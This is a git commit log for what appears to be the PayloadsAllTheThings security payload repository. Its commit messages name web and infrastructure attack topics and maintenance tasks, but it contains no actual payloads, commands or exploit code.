664 Commits
3.0 ... 4.2

Author SHA1 Message Date
Swissky
ac73b0c619 PDO Prepared Statements 2025-07-26 15:21:23 +02:00
Swissky
61fa0020c5 Reverse Proxy Misconfigurations 2025-07-24 14:06:52 +02:00
Swissky
3709358334 Sponsors table with logo and description 2025-07-19 11:05:38 +02:00
Swissky
d1b616812b Sponsors table with logo and description 2025-07-19 11:00:03 +02:00
Swissky
b9af758141 Fix markdownlint configuration 2025-07-18 14:34:03 +02:00
Swissky
aaf084e7f1 Adding SerpApi sponsor 2025-07-18 14:31:46 +02:00
Swissky
dc33caaceb Merge pull request #781 from stenzzor/patch-1
Update README.md
2025-07-10 10:26:03 +02:00
stën
d168dedaa3 Update README.md
Removed spelling mistake.
2025-07-09 19:04:51 +04:00
Swissky
3fd2f8c481 Headless Browser + JSON Jackson 2025-07-02 22:23:13 +02:00
Swissky
aaf6bdf394 Merge pull request #779 from florianamette/patch-1
Add support for `||` (concatenation) operator in PostgreSQL for time based SQL injection
2025-05-22 22:32:26 +02:00
F4K
eca827005a Update Generic_TimeBased.txt
Add support for `||` (concatenation) operator in PostgreSQL
2025-05-22 11:44:06 +02:00
Swissky
bb8cab1ea3 Update Source Code Management Links 2025-05-10 22:04:38 +02:00
Swissky
7eb75cead5 SQLmap Custom Tamper and Preprocess Scripts 2025-04-09 11:14:37 +02:00
Swissky
8379e65ce0 NoSQL injection WAF 2025-04-01 20:22:10 +02:00
Swissky
f344fa50a6 Fix typo 2 2025-03-27 11:24:46 +01:00
Swissky
ab7e7390dc Fix broken links 2025-03-27 11:16:36 +01:00
Swissky
f3be75a4da Markdown Linting - Improving rules 2025-03-26 22:51:26 +01:00
Swissky
2611dd1ba3 Markdown Linting - SQL, Juggling, XSLT, XSS, Zip 2025-03-26 20:53:03 +01:00
Swissky
bad860d79d Markdown Linting - SSI, SSRF, SSTI 2025-03-26 17:49:42 +01:00
Swissky
6963d1a21c Markdown Linting - Mass Assignment, NoSQL, OAuth, Redirect 2025-03-26 17:06:01 +01:00
Swissky
5f244f4437 Markdown Linting - Source Code, JWT, RMI, LDAP, LaTeX 2025-03-26 16:48:22 +01:00
Swissky
d174593b4f Markdown Linting - Parameters, Browsers, Deserialization Randomness 2025-03-26 16:33:07 +01:00
Swissky
e03cdfff14 Markdown Linting - CSV, CVE, DBS, LFI, GWT, GraphQL 2025-03-26 16:22:53 +01:00
Swissky
e6eb436eb1 Markdown Linting - CORS, CRLF, CSPT, CSRF, Command Injection 2025-03-24 16:52:42 +01:00
Swissky
9465e12b76 Markdown Linting - API, Business Logic, Clickjacking 2025-03-24 16:16:58 +01:00
Swissky
48d8dc5578 Markdown Linting - Methodology 2025-03-24 16:00:54 +01:00
Swissky
e25a025e13 DB2 Command Execution with QSYS2.QCMDEXC 2025-03-24 15:42:22 +01:00
Swissky
bc6efd695b Prompt Injection Update 2025-03-17 19:50:19 +01:00
hacker
04d498aa3f XXE - Fix typo 2025-03-17 17:02:00 +01:00
Swissky
df8c196567 Merge pull request #772 from Diebbo/patch-1
FIX broken link
2025-03-13 10:49:21 +01:00
Diego Barbieri
bc4eb6dcb5 Update README.md 2025-03-13 09:53:28 +01:00
hacker
64b36854a7 External Variable Modification 2025-03-07 12:15:00 +01:00
Swissky
0e93caed81 Merge pull request #769 from DoongPark/fix-parentheses
Fix extra parentheses in MySQL Injection.md
2025-02-19 21:08:47 +01:00
Donghyeok Park
37046977fd Fix misplaced parentheses in MySQL Injection.md 2025-02-20 00:48:45 +09:00
Swissky
dd946bedc0 Merge pull request #768 from sehraramiz/sehraramiz-patch-xxe-1
Add missing -r flag for xxe excel file rebuilding with zip command
2025-02-18 21:49:42 +01:00
Mohsen Barzegar
ad13a3c9e0 Add missing -r flag for xxe excel file rebuilding with zip command
-r flag is needed to include sub directories in the final archive
2025-02-16 12:56:20 +03:30
Swissky
7e64eda3bf Merge pull request #765 from Tednoob17/master
Update YOUTUBE.md
2025-02-09 21:37:19 +01:00
Swissky
0f30c6b846 Update YOUTUBE.md - Fix markdown style 2025-02-09 21:27:49 +01:00
Swissky
662622afa4 Merge pull request #759 from noraj/patch-1
csv injection: google sheets formulas
2025-02-09 21:01:24 +01:00
hacker
c3c4b7987b PHP tricks and webshells 2025-02-09 20:24:21 +01:00
Jekyll
df7e940df1 Update YOUTUBE.md
Add some links like : vulnerability researcher, content creator, etc ..
2025-02-04 18:33:15 +01:00
Swissky
fb349a5737 UUID_TO_BIN SQLi Error Based 2025-01-25 11:49:15 +01:00
Swissky
4f7201d9aa Lightyear tool - PHP wrappers 2025-01-22 16:38:16 +01:00
Swissky
ddad93a1d2 System prompt + Arg injection + Disclaimer 2025-01-14 22:26:29 +01:00
Alexandre ZANNI
0aaad269e2 csv injection: google sheets formulas 2024-12-04 17:11:36 +01:00
Swissky
38716075f0 Books update 2024-12-01 12:52:11 +01:00
Swissky
e42edaab74 Learning and Socials updates 2024-12-01 12:18:45 +01:00
Swissky
32d9f7550d XPATH + XSS + XXE + XSLT 2024-11-30 21:14:51 +01:00
Swissky
8c09568cb2 Regex + SSRF 2024-11-30 19:48:32 +01:00
Swissky
8b27a177c2 Indirect Prompt Injection 2024-11-29 23:39:17 +01:00
Swissky
29f46934ac NoSQL + Open Redirect 2024-11-29 22:08:58 +01:00
Swissky
6795bee1c4 LDAP + LaTeX + Management Interface 2024-11-29 18:09:59 +01:00
Swissky
801aecb2ba GraphQL + HPP 2024-11-29 13:49:54 +01:00
Swissky
e6466b4cf9 LFI/RFI pages 2024-11-29 11:52:51 +01:00
Swissky
a16f8a6de1 Path Traversal + CSV Injection 2024-11-28 21:36:01 +01:00
Swissky
57f7c8ddad ViewState Java 2024-11-27 15:29:33 +01:00
Swissky
9425cec068 Handlebars - Basic Injection 2024-11-25 18:42:36 +01:00
Swissky
6bfad6a84d SSTI - SpEL 2024-11-25 13:56:29 +01:00
Swissky
35109b4154 CORS and CRLF updates 2024-11-24 13:44:55 +01:00
Swissky
4e03772f4a API Key rework 2024-11-18 18:26:58 +01:00
Swissky
0108d01571 Edge Side Inclusion 2024-11-18 16:51:28 +01:00
Swissky
98cfc9ce8c XXE Error Based Local DTD 2024-11-18 12:41:35 +01:00
Swissky
846706b87d XXE on JSON Endpoints 2024-11-18 10:43:39 +01:00
Swissky
9932059563 YAML Deserialization 2024-11-17 20:48:10 +01:00
Swissky
b98f8ca587 DB2 Injection updates 2024-11-17 18:37:07 +01:00
Swissky
3c5bab0338 SQL - File Manipulation and Error Based Injection 2024-11-16 18:49:01 +01:00
Swissky
9a908a15d2 MSSQL, OracleSQL, PostgreSQL Substring Equivalent 2024-11-16 15:35:43 +01:00
Swissky
67af38aa4e SQL Injections - Updates for MSSQL, Oracle, PostgreSQL 2024-11-15 23:56:04 +01:00
Swissky
f57d0813ca SQL - MySQL Page Cleanup 2024-11-15 18:42:58 +01:00
Swissky
cde11da0c7 SQL Injection - Methodology 2024-11-15 14:48:58 +01:00
Swissky
8bc33f8bb7 Fix markdown style issues in Account Takeover 2024-11-13 15:30:33 +01:00
Swissky
a6b3b9dd05 CONTRIBUTING page updates - adding rules 2024-11-13 14:24:09 +01:00
Swissky
f333d48960 Fix invalid spaces indents 2024-11-13 14:08:26 +01:00
Swissky
dc349c10c3 Update _template_vuln page 2024-11-13 13:39:19 +01:00
Swissky
d6ce9cd317 Github Action - Markdown Linting for PR 2024-11-13 12:29:42 +01:00
Swissky
118924f291 Challenges added for CRLF, Command Injection, File Inclusion 2024-11-12 19:01:34 +01:00
Swissky
0a5ecc407c Normalize page header for Web Socket, XSLT, XSS, XXE 2024-11-10 21:15:44 +01:00
Swissky
48a4e5c95b Normalize page header for SQLi, Upload, Cache Deception 2024-11-10 20:49:52 +01:00
Swissky
a338b2f12a Normalize page header for SSTI, SAML, SSI 2024-11-10 19:14:16 +01:00
Swissky
1a3e605d64 Normalize page header for JWT, LDAP, LaTeX, OAuth, ORM 2024-11-10 15:28:12 +01:00
Swissky
2304101657 Normalize page header for GraphQL, Deserialization, SCM 2024-11-10 14:37:48 +01:00
Swissky
2deb20a6f1 Normalize page header for CSRF, DNS, DOS, Dependencies 2024-11-10 11:18:46 +01:00
Swissky
d80f73a829 Normalize page header for API, CSPT, CORS, CSRF 2024-11-09 23:01:39 +01:00
Swissky
c82cd6408a Renaming Subdomain Enumeration to Web Attack Surface 2024-11-09 12:38:35 +01:00
Swissky
70fb63a9bf Merge pull request #756 from Fisjkars/patch-1
Add CVE-2023–5123 in CSPT2CSRF real world scenario
2024-11-08 22:20:45 +01:00
Swissky
4f0e6334bd References updated for XSS + page splitted in subcategories 2024-11-08 18:23:43 +01:00
Maxime Escourbiac
5c60cd7b61 Add CVE-2023–5123 in CSPT2CSRF real world scenario 2024-11-08 15:09:08 +01:00
Swissky
37641d2b9e References updated for XPATH, XSLT, XXE, Web Socket 2024-11-07 23:50:30 +01:00
Swissky
b2bb1df9a9 References addded for SQLi, Upload, SSTI, Type Juggling 2024-11-07 20:54:16 +01:00
Swissky
ffa5ea764a Merge pull request #755 from n3rada/patch-1
PostgreSQL privilege list update
2024-11-07 18:42:46 +01:00
Swissky
df8d4d7f27 References updated for SAML, SSI, SSRF 2024-11-07 18:31:21 +01:00
Swissky
9ed40edfca References updated for NoSQL, OAuth, ORM, Prompt, RegEx 2024-11-07 16:20:58 +01:00
n3rada
a590290016 PostgreSQL privilege list update 2024-11-07 15:12:58 +01:00
Swissky
b80b72d3a3 References updated for JWT, RMI, LDAP, LaTeX 2024-11-07 14:50:52 +01:00
Swissky
ccffaa5019 References updated for IDOR, Radomness and SCM 2024-11-07 12:17:38 +01:00
Swissky
7e390265a0 References added for GWT, GraphQL, HTTP, Headless 2024-11-06 23:32:18 +01:00
Swissky
e47391b12b References updated for Dom Clobbering, File Inclusion 2024-11-05 17:29:15 +01:00
Swissky
e138308d3d References updated for CORS CRLF CSV 2024-11-04 18:00:07 +01:00
Swissky
4dc409d31e References updated for API, Business, Clickjacking, CSPT, Command
Injection
2024-11-04 16:35:24 +01:00
Swissky
138fbd97f9 Account Takeover References 2024-11-03 21:22:14 +01:00
Swissky
21dfd91180 SSTI references updates 2024-11-03 20:54:01 +01:00
Swissky
51fe542992 nested_indent in mkdocs 2024-11-03 17:36:19 +01:00
Swissky
ff88aa1f45 Fix nested lists 2024-11-03 17:10:52 +01:00
Swissky
a5de8cf062 SQL injections references updates 2024-11-03 14:06:53 +01:00
Swissky
944fe0db7b SQLmap tips moved from SQL README to their own page 2024-11-02 22:47:30 +01:00
Swissky
d77ef2c4fc Templating Libraries Tables 2024-11-02 17:42:18 +01:00
Swissky
b29edefe09 Merge pull request #732 from Xhoenix/master
added bypass techniques
2024-11-02 15:21:38 +01:00
Swissky
11d1704f42 Merge pull request #730 from Horlad/master
Adding r3dir tool to SSRF README.md
2024-11-02 15:20:09 +01:00
Swissky
6e77f624f2 Merge pull request #728 from isacaya/add_xss_bypass
Add a few XSS filter bypass cases
2024-11-02 15:16:46 +01:00
Swissky
9866fef5b4 Bypass CSP, technique from #715 2024-11-02 12:26:45 +01:00
Swissky
d0c4454ef2 Merge pull request #734 from R4yGM/patch-1
Fixed not working example
2024-11-02 12:11:21 +01:00
Swissky
88ab5228b4 Merge pull request #737 from omranisecurity/master
Add CorsOne to the Repository
2024-11-02 12:05:21 +01:00
Swissky
a4277d5e5e Merge pull request #738 from NoPurposeInLife/patch-1
Update deep_traversal.txt
2024-11-02 12:00:20 +01:00
Swissky
eb4795047b Merge pull request #746 from TRKBKR/master
Added oncontentvisibilityautostatechange to XSS in hidden input
2024-11-02 11:44:08 +01:00
Swissky
89c4098dc2 Merge pull request #754 from noraj/patch-2
SSTI: engine detection
2024-11-02 11:42:45 +01:00
Swissky
7efac5129b Merge pull request #742 from hansmach1ne/master
Add LFImap tool
2024-11-02 11:39:31 +01:00
Swissky
e3877d1979 Merge pull request #739 from FatEarthler/master
added 'xss_alert_identifiable.txt'
2024-11-02 11:38:30 +01:00
Swissky
acb509d436 SVG XSS fix typo from #729 + files 2024-11-02 11:27:26 +01:00
Swissky
53ba2932ab Merge pull request #729 from noraj/patch-1
XSS in SVG: more examples + nesting
2024-11-02 11:21:27 +01:00
Alexandre ZANNI
eca0bd1b36 SSTI: engine detection 2024-11-01 22:20:50 +01:00
Swissky
6b8ca37452 Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings 2024-11-01 21:00:34 +01:00
Swissky
690c7764eb Moving CICD to IATT repository 2024-11-01 21:00:03 +01:00
Swissky
f11771b866 Merge pull request #753 from NoPurposeInLife/patch-2
Update MySQL Injection.md
2024-10-31 21:23:22 +01:00
NoPurposeInLife
873ac0e727 Update MySQL Injection.md
Fixed row/data extraction from MySQL Error Based - Extractvalue Function
2024-10-31 11:25:34 +08:00
ⵟⴰⵕⵉⴽ ⴱⴰⴽⵉⵕ
223d6183eb Merge branch 'swisskyrepo:master' into master 2024-10-30 16:51:42 +00:00
Swissky
ca41c9e848 Merge pull request #752 from noraj/patch-2 2024-10-28 18:00:24 +01:00
Swissky
0f621e67d1 SQLmap reduce requests 2024-10-28 17:59:33 +01:00
Swissky
98db867333 Merge pull request #752 from noraj/patch-2
XXE in docx/xlsx: important warning on recompression
2024-10-28 17:03:39 +01:00
Alexandre ZANNI
6cbf58e5b0 XXE in docx/xlsx: important warning on recompression 2024-10-28 16:18:35 +01:00
Swissky
6ee918b060 SSTI update 2024-10-23 14:17:18 +02:00
Swissky
7ec97bb77e SSTI - Pages splitted by technology 2024-10-23 13:59:18 +02:00
Swissky
25a664625d Denial of Service 2024-10-23 10:06:45 +02:00
ⵟⴰⵕⵉⴽ ⴱⴰⴽⵉⵕ
faeee7270a Update README.md
addedd contentvisibilityautostatechange_event for hidden input
2024-10-13 23:23:07 +01:00
Swissky
37f0740d07 Merge pull request #744 from Swastik-Swarup-Dash/typo1
fix:Typo_Race-Condition
2024-10-03 14:40:06 +02:00
Swastik-Swarup-Dash
bd7bd812ae fix:Typo_Race-Condition 2024-10-03 15:23:23 +05:30
Swissky
b57475f34f Moving Kubernetes from PATT to IATT 2024-10-03 11:35:54 +02:00
Swissky
8ececca282 Merge pull request #743 from Swastik-Swarup-Dash/typo
fix:Typo_Fix namespaces
2024-10-02 16:31:09 +02:00
Swastik-Swarup-Dash
2fa9441e37 fix:Typo_Fix namespaces 2024-10-02 17:02:52 +05:30
Mach1ne
c4a19f8a2a Add LFImap tool 2024-09-30 22:49:44 +02:00
Xhoenix
04eb1eb12d Update README.md
added more payloads
2024-09-17 22:29:37 +05:30
Swissky
d5a6811193 Fix typos 2024-09-16 18:05:54 +02:00
Swissky
d90c73c7ef Moving S3 to another repository 2024-09-15 20:48:07 +02:00
FatEarthler
975dde665a added 'xss_alert_identifiable.txt'
same as 'xss_alert.txt', but with identifiable payloads (e.g. alert(1992) instead of just alert(1)). This is useful in case of stored xss, when you inject all the payloads and then need to identify which payloads were successful.
2024-09-14 22:14:45 +02:00
Swissky
c5802aad67 Fix uppercase links and anchor 2024-09-13 22:43:18 +02:00
Swissky
541d89be64 Fix broken pictures 2024-09-13 21:59:29 +02:00
Swissky
3eae8d7458 Fix typo and structure 2024-09-11 17:07:51 +02:00
NoPurposeInLife
6602d48fad Update deep_traversal.txt 2024-09-10 16:40:28 +08:00
Swissky
99f3557415 Randomness mt_rand + Analytics 2024-09-06 21:59:41 +02:00
Xhoenix
77f83c18b3 update quote evasion payloads 2024-09-06 19:09:46 +05:30
Mohammad Reza Omrani
d75e4fa525 Update README.md
Add CorsOne Tool on CORS Misconfiguration page
2024-09-03 13:08:02 +03:30
Swissky
1dae291696 IIS MachineKeys + CI/CD + CSPT + ORM leak 2024-08-26 11:27:47 +02:00
R4yan
0aac7e8267 Update README.md 2024-07-28 21:16:30 +02:00
Xhoenix
80707e805b added bypass techniques 2024-07-25 11:57:43 +05:30
Xhoenix
1a475b6e1d added bypass techniques 2024-07-15 11:58:02 +05:30
Horlad
b521dedb24 Adding r3dir tool to SSRF README.md 2024-06-27 17:01:41 +02:00
Horlad
4cf17a3fab Update SSRF with redirect examples using r3dir README.md 2024-06-27 16:57:45 +02:00
Alexandre ZANNI
8e05a2dd2a XSS in SVG: more examples + nesting 2024-06-19 14:54:19 +02:00
isacaya
ca3ab6eb95 Add a few XSS filter bypass cases 2024-06-19 04:21:24 +09:00
Swissky
314e4da963 SSRF DNS AXFR + LFI PHAR payloads + LFI iconv 2024-06-16 21:17:42 +02:00
Swissky
7e4a38a1a5 Merge pull request #725 from masquerad3r/master
Create port_swigger_xss_cheatsheet_event_handlers.txt
2024-06-06 17:52:33 +02:00
masquerad3r
eca067dd7e Create port_swigger_xss_cheatsheet_event_handlers.txt
Updated list of event handlers taken from https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#event-handlers.

Useful when the context of reflection is an HTML attribute and one quickly wants to check which attributes are reflected unfiltered by the target application.
2024-06-06 10:46:13 +02:00
Swissky
c34a2bac15 WAF bypass moved to a separate page 2024-06-03 09:55:29 +02:00
Swissky
2e73069238 XSS Tel URI 2024-06-03 09:37:24 +02:00
Swissky
6d3fef0df3 Merge pull request #723 from cydave/master
Add additional XSS payload in email addresses RFC5322
2024-06-02 11:25:45 +02:00
Swissky
cb69cecd11 Merge pull request #721 from MarkCyber/master
DBMS Identification Via Error
2024-06-02 11:23:13 +02:00
Swissky
25c94f809a Uniqid + reset-tolkien and sandwich attack 2024-05-31 16:31:23 +02:00
dave
fcf69f8226 Add additional XSS payload in email addresses RFC5322 2024-05-31 13:27:32 +02:00
Swissky
b5251a673f XSLT payloads + Headless Browser 2024-05-31 00:07:21 +02:00
Swissky
ded1d95735 ASP Cookieless + ReDOS backtrack 2024-05-29 23:23:51 +02:00
Swissky
67adf75bc2 CSP updates + Indirect Prompt Injection 2024-05-29 15:32:58 +02:00
Mark
c3af630e1d Update README.md 2024-05-26 10:40:54 -04:00
Mark
867f243100 Update README.md 2024-05-26 10:32:01 -04:00
Swissky
f723bcbf8a Merge pull request #718 from idealphase/master
Update Ruby.md
2024-05-05 13:08:50 +02:00
Swissky
670b301b1c Merge pull request #717 from nojanath/master
Fix link to SecLists/content-type.txt
2024-05-05 13:07:57 +02:00
idealphase
33d9e24bed Update Ruby.md
Change from the invalid 404 URL to the valid one. (https://pentesterlab.com/exercises/ruby_ugadget/course)
2024-05-05 16:16:36 +07:00
Jonathan Thompson
7a68102a3c Fix link to SecLists/content-type.txt 2024-05-04 11:12:54 -07:00
Swissky
53d9014b2b Regular Expression ReDoS 2024-04-25 17:37:16 +02:00
Swissky
43a8c6a037 Adding socials buttons 2024-04-24 22:02:04 +02:00
Swissky
b245d3cbdd Mkdocs accessibility and search improvement 2024-04-15 21:20:02 +02:00
Swissky
293723d49d Merge pull request #712 from bsysop/patch-4
Adding "Hetzner Cloud" to the Summary
2024-04-05 18:55:52 +02:00
bsysop
dc461f170e Adding "Hetzner Cloud" to the Summary 2024-04-05 11:55:54 -03:00
Swissky
9571306b9f Merge pull request #711 from bsysop/patch-3
Adding Hetzner Cloud Metadata URL
2024-04-05 15:53:05 +02:00
bsysop
3c9fdec3da Adding Hetzner Cloud Metadata URL
https://docs.hetzner.cloud/#server-metadata
2024-04-04 23:43:34 -03:00
Swissky
80dda8beeb Merge pull request #710 from mohnad-0b/patch-1
Update SQLite Injection.md
2024-04-03 18:15:31 +02:00
Swissky
8ef458db2a Merge pull request #708 from xplo1t-sec/master
bypass techniques added
2024-04-03 18:15:03 +02:00
mohnad banat
d834abe43c Update SQLite Injection.md
Since sqlite version 3.33.0, sqlite_schema has been replaced by sqlite_master.
2024-04-01 20:46:09 +03:00
Swissky
b19dc0626a CICD - Mkdocs fixed the fonts problem 2024-03-31 16:03:48 +02:00
Swissky
55afcb12fb Removing social plugins from Mkdocs 2024-03-30 13:20:56 +01:00
Swissky
9cabd995fb Merge pull request #709 from mpgn/master
switch to nxc as cme is archived
2024-03-29 22:36:26 +01:00
mpgn
0d98284034 switch to nxc as cme is archived 2024-03-29 21:22:18 +00:00
xplo1t-sec
033982dc30 bypass techniques added 2024-03-09 21:46:33 +05:30
Swissky
dd2b68b70e PHP Deserialization + API keys table typo 2024-02-18 15:29:21 +01:00
Swissky
97cfeee270 Tools Update 2024-01-21 21:39:23 +01:00
Swissky
12c6531ad2 README - Update links to Internal All The Things 2024-01-12 16:18:36 +01:00
Swissky
c852118ec8 Web Cache Deception + phpt file format 2024-01-11 12:20:25 +01:00
Swissky
4b77292aeb Merge pull request #704 from therealtoastycat/patch-1
Adding reverse shell payload for OGNL
2024-01-05 15:45:19 +01:00
ToastyCat
05f441accf Update Reverse Shell Cheatsheet.md
adding details
2024-01-05 10:25:39 +01:00
Swissky
c6f96f7b2a Merge pull request #703 from Aftab700/JSON-Prototype-Pollution
adding the payload for Polluting the prototype via the `constructor`  property in JSON input
2024-01-05 10:24:16 +01:00
Swissky
f96c1e4356 Merge pull request #701 from Vunnm/patch-1
specify condition to perform Angular JS Injection
2024-01-05 10:23:50 +01:00
ToastyCat
3d9363fdc9 Adding reverse shell payload for OGNL 2024-01-05 09:50:43 +01:00
Aftab Sama
08063f0830 adding the payload for Polluting the prototype via the constructor property in JSON input
Somtimes `__proto__` property may not work, so adding the payload for Polluting the prototype via the `constructor` property in JSON input
2024-01-03 17:24:28 +05:30
Vunnm
27d19813f8 specify condition to perform Angular JS Injection
Indicate that ng-app in a root element is needed to inject Angular JS template. Injecting below payload without a root element with ng-app will not result in a successful injection
2023-12-28 13:30:49 +01:00
Swissky
cbc6e78d2a SOCIAL - site url 2023-12-25 22:11:52 +01:00
Swissky
845fa52f8b SOCIAL - Cards 2023-12-24 14:05:50 +01:00
Swissky
5c42373a25 PHP filter prefix and suffix 2023-12-21 20:12:04 +01:00
Swissky
9fc0acc7e0 Merge pull request #700 from mschader/fix/ad-smbmap-fix-1
Update Active Directory Attack.md
2023-12-14 14:44:28 +01:00
Swissky
c579e6d043 Argument Injection 2023-12-14 14:38:39 +01:00
Markus
838d7c8c65 Update Active Directory Attack.md
Change recursive parameter for smbmap as listed in the documentation
2023-12-14 11:56:04 +01:00
Swissky
b07c5df892 CSS - Update style color + Blind SQL Oracle 2023-12-10 13:27:21 +01:00
Swissky
4a66a4ed25 CSS - Update style for Chrome 2023-12-04 10:46:10 +01:00
Swissky
1c42bfe5ca Merge pull request #698 from m10x/master
Added TInjA and the Template Injection Table
2023-12-03 18:56:44 +01:00
Maximilian Hildebrand
db1357bb3c Added TInjA and the Template Injection Table
Both are novel tools to help Pentesters / Bug bounty hunters to detect template injections
2023-12-03 13:15:47 +01:00
Swissky
57703ed7ed plocate and Azure AD updates 2023-12-01 22:21:05 +01:00
Swissky
bb71d4ad14 Merge pull request #696 from jenaye/PrintSpoofer
[Add] - Priv esc windows (PrintSpoofer)
2023-11-17 12:11:48 +01:00
enaylal
4684fed4aa add priv esc windows 2023-11-16 23:37:12 +01:00
Swissky
d93a228b40 Merge pull request #692 from jlkl/master
Add two methods about LFI to RCE via PHP PEARCMD
2023-11-12 18:21:16 +01:00
Swissky
3ba405954a Merge pull request #693 from bountyhacking/patch-1
Update README.md
2023-11-12 18:20:38 +01:00
Swissky
711b44c6b0 Merge pull request #695 from hebelsan/patch-1
latex injection add blacklist bypass
2023-11-12 13:15:46 +01:00
Alexander Hebel
ae3f91c88a latex injection add blacklist bypass 2023-11-12 11:13:41 +01:00
Swissky
d80068cc1b Privileged File Delete 2023-11-04 15:52:29 +01:00
Thomas Emerson Glucklich
49bc19e992 Update README.md 2023-11-01 11:32:31 -04:00
Swissky
46208ca898 Prompt Injection - RCE payloads 2023-11-01 13:56:38 +01:00
Swissky
ed081d7f29 Vulnerability Reports 2023-10-31 17:45:24 +01:00
Str3am
95a85b455d Add two methods about LFI to RCE via PHP PEARCMD, and delete extra double quotes in method 2 payload 2023-11-01 00:35:59 +08:00
Str3am
072cac04d6 Add two methods about LFI to RCE via PHP PEARCMD 2023-11-01 00:26:27 +08:00
Swissky
156990a2c6 Merge pull request #691 from itsparakh/patch-1
Update README.md
2023-10-30 18:17:56 +01:00
itsparakh
4500fdc447 Update README.md 2023-10-28 23:10:28 +05:30
Swissky
85871c6c14 Merge pull request #690 from idealphase/master
Update README.md (XSLT Injection)
2023-10-28 17:34:14 +02:00
Swissky
07cf2831ca AWS Key ID + UAC + Race Condition 2023-10-28 17:31:59 +02:00
idealphase
85310ba8e5 Update README.md (XSLT Injection)
Added Execute a remote php file using `file_put_contents`
2023-10-28 19:47:25 +07:00
Swissky
3ad350b753 Prompts Examples 2023-10-22 17:17:55 +02:00
Swissky
0f085798c7 Merge pull request #686 from swisskyrepo/prototype-pollution
Prototype Pollution Update
2023-10-18 18:47:31 +02:00
Swissky
ccccb34c61 Prototype Pollution Update 2023-10-18 18:46:41 +02:00
Swissky
c95a0a1a28 Merge pull request #681 from the-pythonist/the-pythonist-patch-1
Update README.md
2023-10-15 19:36:33 +02:00
Swissky
6c38c3cdda Merge pull request #682 from 0xblank/master
Fix typo in GraphQL Injection README.md
2023-10-15 19:35:32 +02:00
Swissky
d052949a6b Merge pull request #683 from swisskyrepo/rmi-update
Java beanshooter
2023-10-15 19:34:41 +02:00
Swissky
4b6db7b471 Java beanshooter 2023-10-15 19:31:16 +02:00
0xblank
51e8dc6378 Fix typo in GraphQL Injection README.md 2023-10-14 16:39:25 +02:00
the-pythonist
82c3cd92d1 Update README.md
Prefer ${IFS} to $IFS when doing filter bypass without space as $IFS does not work as a separator for certain commands.
2023-10-12 14:51:23 +02:00
Swissky
eebea7cb4d Merge pull request #680 from swisskyrepo/books-update
Update Books References
2023-10-12 10:23:48 +02:00
Swissky
886b64801d Update Books References 2023-10-12 10:22:37 +02:00
Swissky
46e446a06f Merge pull request #679 from swisskyrepo/msi-installer
MSI installer
2023-10-11 21:06:37 +02:00
Swissky
e86f221fe8 Fix typo in MSI installer 2023-10-11 21:05:54 +02:00
Swissky
5556f6ff79 MSI Installer - PrivEsc 2023-10-11 21:03:47 +02:00
Swissky
7f1823efbe Fix character matching for '>' and its URL entity encoding from @CaoZnZZ 2023-10-10 13:56:57 +02:00
Swissky
dd7525dc8f Merge pull request #630 from mtausig/patch-2
Add documentation for PDF JS PoC
2023-10-10 12:57:44 +02:00
Swissky
a95f11b32e Merge pull request #662 from Vunnm/master-1
Add JSON simple with form
2023-10-10 12:10:59 +02:00
Swissky
103f41898b Merge pull request #663 from cfpadok/develop
feat: add cognito-scanner tool for AWS pentest
2023-10-09 23:19:43 +02:00
Swissky
12e56724f1 Merge pull request #678 from aadi1011/master
Added Clickjacking Technique
2023-10-09 21:11:54 +02:00
Swissky
19f138d4ad Update README.md 2023-10-09 20:52:28 +02:00
Aadith Sukumar
a90cb7f2c7 Clickjacking Challenge 2023-10-09 11:38:37 +05:30
Aadith Sukumar
5115ac95e8 Improved References
Added Author names to references as requested in the CONTRIBUTING.md file.
2023-10-09 10:40:05 +05:30
Aadith Sukumar
2b54b5034f Fixed Anchor in Summary 2023-10-09 09:42:20 +05:30
Aadith Sukumar
ce4affc79b Update and rename Clickjacking.md to README.md 2023-10-09 09:40:28 +05:30
Aadith Sukumar
ad93bb5e22 Merge branch 'swisskyrepo:master' into master 2023-10-08 23:51:36 +05:30
Aadith Sukumar
bd42625b32 Create Clickjacking.md
Added a directory to discuss clickjacking attacks
2023-10-08 23:50:58 +05:30
Swissky
a71a793648 Merge pull request #676 from dahalsharad/add-wcd-exploit-description-and-image
added Web Cache Deception exploit, description and demonstrative image
2023-10-08 19:10:05 +02:00
sharad
37a4f8c977 added wcd exploit description and demonstrative image 2023-10-04 22:54:37 +05:45
Swissky
892c68e6e7 PEAR_Config example 2023-10-02 17:12:36 +02:00
Swissky
837f220264 LFI with pearcmd.php 2023-10-02 12:52:10 +02:00
Swissky
55edc9fc74 Fix MySQL duplicate cheatsheet 2023-10-01 12:45:12 +02:00
Swissky
d142587f28 Race Condition WIP + AD asreproast/kerberoasting 2023-10-01 12:42:20 +02:00
Swissky
a0475a2f45 Merge pull request #675 from nuts7/kerberoast-without-preauth
Add Kerberoasting w/o domain account
2023-09-30 18:51:19 +02:00
Swissky
485103e9bb IDOR Numeric, Hash, Wildcard and PRNG 2023-09-25 14:15:48 +02:00
Swissky
84569e18e4 Merge pull request #674 from eltociear/patch-1
Fix typo in README.md
2023-09-22 14:50:49 +02:00
nuts7
0cea24cfcb Add Kerberoasting w/o domain account
This commit add a Kerberoasting technique without domain account/credentials just a user without pre-authentication (AS_REP Roastable)
2023-09-22 13:38:28 +02:00
Ikko Eltociear Ashimine
2aaeac91f8 Fix typo in README.md
appropiate -> appropriate
2023-09-22 00:11:33 +09:00
Swissky
83f1af0af0 Command injection update 2023-09-21 13:09:57 +02:00
Swissky
e9fb4f100c Google Web Toolkit 2023-09-19 09:58:22 +02:00
Swissky
59640ba51a MYSQL Wide byte injection (GBK) 2023-09-14 10:53:37 +02:00
Swissky
64a6e3eb04 Merge pull request #672 from manesec/master
Add MYSQL Wide byte injection
2023-09-14 10:25:12 +02:00
Mane
811d71026f Update MySQL Injection.md
fix typo
2023-09-13 08:33:03 -07:00
Mane
9574af9dd1 Update MySQL Injection.md
Add MYSQL Wide byte injection, it can test in Sqli-labs Less-32
2023-09-13 08:13:36 -07:00
Swissky
ed7c3a4e0c Merge pull request #671 from Thy-GoD/patch-1
Add automatic shell upgrade via rustcat.
2023-09-09 10:50:33 +02:00
Thigh_GoD
c7549916b8 Update Reverse Shell Cheatsheet.md
Added small quality adjustment.
2023-09-09 03:51:35 +08:00
Thigh_GoD
cf9b9bf70c Update Reverse Shell Cheatsheet.md
Added in automatic shell upgrade via rustcat.
2023-09-08 21:15:54 +08:00
Swissky
f9a2880ad5 Recover Public Key From Signed JWTs 2023-09-04 11:37:15 +02:00
